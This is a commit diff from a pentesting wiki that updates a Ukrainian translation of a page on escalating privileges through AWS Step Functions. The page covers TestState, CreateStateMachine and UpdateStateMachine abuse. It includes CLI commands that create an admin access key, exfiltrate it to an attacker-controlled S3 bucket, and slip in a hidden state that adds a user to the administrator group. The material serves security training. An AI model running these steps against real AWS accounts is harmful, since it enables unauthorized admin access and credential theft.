mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
+27
-27
@@ -4,7 +4,7 @@
|
||||
|
||||
## Step Functions
|
||||
|
||||
Для отримання додаткової інформації про цей сервіс AWS перегляньте:
|
||||
For more information about this AWS service, check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
@@ -12,24 +12,24 @@
|
||||
|
||||
### Ресурси завдань
|
||||
|
||||
Ці техніки ескалації привілеїв вимагатимуть використання деяких ресурсів AWS Step Functions для виконання потрібних дій з підвищення привілеїв.
|
||||
Для виконання цих privilege escalation techniques потрібно використати певні ресурси AWS Step Functions, щоб здійснити необхідні дії privilege escalation.
|
||||
|
||||
Щоб перевірити всі можливі дії, ви можете перейти до свого облікового запису AWS, вибрати дію, яку хочете використати, і подивитися параметри, які вона використовує, як на прикладі:
|
||||
Щоб перевірити всі можливі дії, ви можете зайти в свій обліковий запис AWS, вибрати дію, яку хочете використовувати, і подивитися параметри, які вона використовує, наприклад:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Або ви також можете перейти до документації API AWS і перевірити документи для кожної дії:
|
||||
Або ви також можете перейти до документації AWS API і переглянути документацію для кожної дії:
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
Зловмисник, який має дозволи **`states:TestState`** та **`iam:PassRole`**, може тестувати будь-який state і передавати будь-яку IAM роль до нього без створення або оновлення існуючого state machine, що потенційно дозволяє несанкціонований доступ до інших AWS сервісів з правами, що надаються роллю. У поєднанні ці дозволи можуть призвести до широкого спектра несанкціонованих дій: від маніпуляцій робочими потоками і зміни даних до витоків даних, маніпуляції ресурсами та ескалації привілеїв.
|
||||
Зловмисник із дозволами **`states:TestState`** та **`iam:PassRole`** може тестувати будь-який стан і передавати йому будь-яку роль IAM без створення або оновлення існуючої машини станів, що потенційно дозволяє несанкціонований доступ до інших сервісів AWS з правами цих ролей. У поєднанні ці дозволи можуть призвести до широкого спектра несанкціонованих дій — від маніпуляцій робочими процесами та зміни даних до витоків даних, маніпулювання ресурсами та privilege escalation.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
aws stepfunctions test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Наступні приклади показують, як протестувати стан, який створює access key для користувача **`admin`**, використовуючи ці дозволи та роль з широкими правами в середовищі AWS. Ця роль має бути пов'язана з будь-якою політикою з високими привілеями (наприклад **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє стану виконати дію **`iam:CreateAccessKey`**:
|
||||
Наведені приклади показують, як протестувати стан, який створює ключ доступу для користувача **`admin`**, використовуючи ці дозволи та роль з широкими правами в середовищі AWS. Ця роль має мати приєднану політику з високими привілеями (наприклад **`arn:aws:iam::aws:policy/AdministratorAccess`**), що дозволяє стану виконувати дію **`iam:CreateAccessKey`**:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -42,7 +42,7 @@ aws states test-state --definition <value> --role-arn <value> [--input <value>]
|
||||
"End": true
|
||||
}
|
||||
```
|
||||
- **Команда** виконана для проведення privesc:
|
||||
- **Команда** виконана для здійснення privesc:
|
||||
```bash
|
||||
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
|
||||
|
||||
@@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
"status": "SUCCEEDED"
|
||||
}
|
||||
```
|
||||
**Потенційний вплив**: Несанкціоноване виконання та маніпуляція робочими процесами й доступ до чутливих ресурсів, що може призвести до серйозних порушень безпеки.
|
||||
**Потенційний вплив**: Несанкціоноване виконання та маніпулювання робочими процесами і доступ до конфіденційних ресурсів, що може призвести до значних порушень безпеки.
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
Атакуючий з правами **`states:CreateStateMachine`** та **`iam:PassRole`** може створити машину станів (state machine) і призначити їй будь-який IAM role, що дозволить несанкціонований доступ до інших сервісів AWS з повноваженнями цієї ролі. На відміну від попередньої privesc technique (**`states:TestState`** & **`iam:PassRole`**), ця техніка не виконується сама по собі — вам також потрібні дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступний для standard workflows**, **лише для express state machines**), щоб запустити виконання машини станів.
|
||||
Зловмисник, який має **`states:CreateStateMachine`** та **`iam:PassRole`**, зможе створити машину станів і надати їй будь-яку IAM роль, що дозволить несанкціонований доступ до інших AWS сервісів з правами цієї ролі. На відміну від попередньої privesc technique (**`states:TestState`** & **`iam:PassRole`**), ця не виконується сама по собі — вам також потрібні дозволи **`states:StartExecution`** або **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **не доступний для стандартних робочих процесів**, **лише для express state machines**), щоб запустити виконання машини станів.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
aws stepfunctions create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
|
||||
# Start a state machine execution
|
||||
aws states start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
aws stepfunctions start-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
aws stepfunctions start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
Наступні приклади показують, як створити state machine, яка створює access key для користувача **`admin`** та ексфільтрує цей access key у S3 bucket, контрольований атакуючим, використовуючи ці дозволи та permissive role в середовищі AWS. Ця permissive роль повинна мати будь-яку високо-привілейовану політику, пов'язану з нею (наприклад **`arn:aws:iam::aws:policy/AdministratorAccess`**), яка дозволяє state machine виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**.
|
||||
Наведені приклади показують, як створити state machine, яка створює access key для користувача **`admin`** та ексфільтрує цей access key у S3 bucket, що контролюється атакуючим, використовуючи ці дозволи та роль з широкими привілеями у AWS середовищі. Така роль повинна мати прикріплену політику з високими привілеями (наприклад **`arn:aws:iam::aws:policy/AdministratorAccess`**), що дозволяє state machine виконувати дії **`iam:CreateAccessKey`** та **`s3:putObject`**.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -115,7 +115,7 @@ aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Команда**, виконана для **створення машини станів**:
|
||||
- **Команда** виконана для **створення state machine**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
@@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition
|
||||
"creationDate": "2024-07-09T20:29:35.381000+02:00"
|
||||
}
|
||||
```
|
||||
- **Команда** виконана для **запуску виконання** раніше створеної машини станів:
|
||||
- **Команда**, виконана для **запуску виконання** раніше створеної машини станів:
|
||||
```json
|
||||
aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine
|
||||
{
|
||||
@@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Бакет S3, контрольований атакуючим, повинен мати дозволи на прийом дії s3:PutObject від облікового запису жертви.
|
||||
> S3 bucket, контрольований зловмисником, повинен мати дозволи на прийом дії s3:PutObject від облікового запису жертви.
|
||||
|
||||
**Можливий вплив**: Несанкціоноване виконання та маніпулювання робочими процесами і доступ до чутливих ресурсів, що може призвести до значних порушень безпеки.
|
||||
**Потенційний вплив**: Несанкціоноване виконання та модифікація робочих процесів і доступ до конфіденційних ресурсів, що може призвести до серйозних порушень безпеки.
|
||||
|
||||
### `states:UpdateStateMachine` & (не завжди потрібний) `iam:PassRole`
|
||||
|
||||
Атакуюча особа з дозволом **`states:UpdateStateMachine`** може змінити визначення state machine, додавши приховані стани, які можуть призвести до ескалації привілеїв. Таким чином, коли легітимний користувач запускає виконання state machine, цей новий шкідливий прихований стан буде виконано і ескалація привілеїв відбудеться успішно.
|
||||
Зловмисник з дозволом **`states:UpdateStateMachine`** зможе змінити визначення state machine, додавши додаткові приховані стани, які можуть призвести до privilege escalation. Таким чином, коли легітимний користувач запустить виконання state machine, цей новий шкідливий прихований стан буде виконано і privilege escalation відбудеться успішно.
|
||||
|
||||
Залежно від того, наскільки широкі права має IAM Role, пов'язана зі state machine, атакуючий опиниться в одній із двох ситуацій:
|
||||
Залежно від того, наскільки широкі дозволи має IAM Role, пов’язана зі state machine, зловмисник опиниться в одній з двох ситуацій:
|
||||
|
||||
1. **З широкими правами IAM Role**: Якщо IAM Role, пов'язана зі state machine, вже має широкі права (наприклад, до неї приєднана політика **`arn:aws:iam::aws:policy/AdministratorAccess`**), то дозвіл **`iam:PassRole`** не потрібен для ескалації привілеїв, оскільки не потрібно також оновлювати IAM Role — достатньо змінити визначення state machine.
|
||||
2. **IAM Role без широких прав**: На відміну від попереднього випадку, тут атакуючому також знадобиться дозвіл **`iam:PassRole`**, оскільки буде необхідно асоціювати до state machine більш дозволену IAM Role, на додачу до зміни визначення state machine.
|
||||
1. **IAM Role з широкими дозволами**: Якщо IAM Role, пов’язана зі state machine, вже має широкі дозволи (наприклад, має прикріплену політику **`arn:aws:iam::aws:policy/AdministratorAccess`**), тоді дозвіл **`iam:PassRole`** не буде потрібен для privilege escalation, оскільки оновлення визначення state machine вже достатнє.
|
||||
2. **Обмежена IAM Role**: На відміну від попереднього випадку, тут зловмиснику також буде потрібен дозвіл **`iam:PassRole`**, оскільки необхідно додатково асоціювати IAM Role з широкими дозволами до state machine, окрім зміни визначення state machine.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
aws stepfunctions update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
Наведені приклади показують, як оновити легітимну state machine, яка лише викликає HelloWorld Lambda function, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до IAM Group **`administrator`**. Таким чином, коли легітимний користувач запускає виконання оновленої state machine, цей новий прихований шкідливий стан виконається й ескалація привілеїв буде успішною.
|
||||
Наведені приклади показують, як оновити легітимний state machine, який просто викликає HelloWorld Lambda function, щоб додати додатковий стан, який додає користувача **`unprivilegedUser`** до **`administrator`** IAM Group. Таким чином, коли легітимний користувач запускає виконання оновленого state machine, цей новий прихований шкідливий стан буде виконано і підвищення привілеїв буде успішним.
|
||||
|
||||
> [!WARNING]
|
||||
> Якщо state machine не має пов’язаної IAM Role з широкими правами, також буде необхідний дозвіл **`iam:PassRole`** для оновлення IAM Role, щоб асоціювати роль з широкими правами (наприклад роль з приєднаною політикою **`arn:aws:iam::aws:policy/AdministratorAccess`**).
|
||||
> Якщо до state machine не асоційовано IAM Role з широкими правами, також буде потрібен дозвіл **`iam:PassRole`** для оновлення IAM Role та асоціації такої ролі (наприклад, однієї з приєднаною політикою **`arn:aws:iam::aws:policy/AdministratorAccess`**).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
@@ -218,7 +218,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
- **Команда**, виконана для **оновлення** **легітимної машини станів**:
|
||||
- **Команда** виконана для **оновлення** **легітимної машини станів**:
|
||||
```bash
|
||||
aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json
|
||||
{
|
||||
@@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas
|
||||
"revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f"
|
||||
}
|
||||
```
|
||||
**Potential Impact**: Несанкціоноване виконання та маніпулювання робочими процесами й доступ до конфіденційних ресурсів, що може призвести до значних порушень безпеки.
|
||||
**Potential Impact**: Несанкціоноване виконання та маніпулювання робочими процесами та доступ до чутливих ресурсів, що може призвести до серйозних порушень безпеки.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user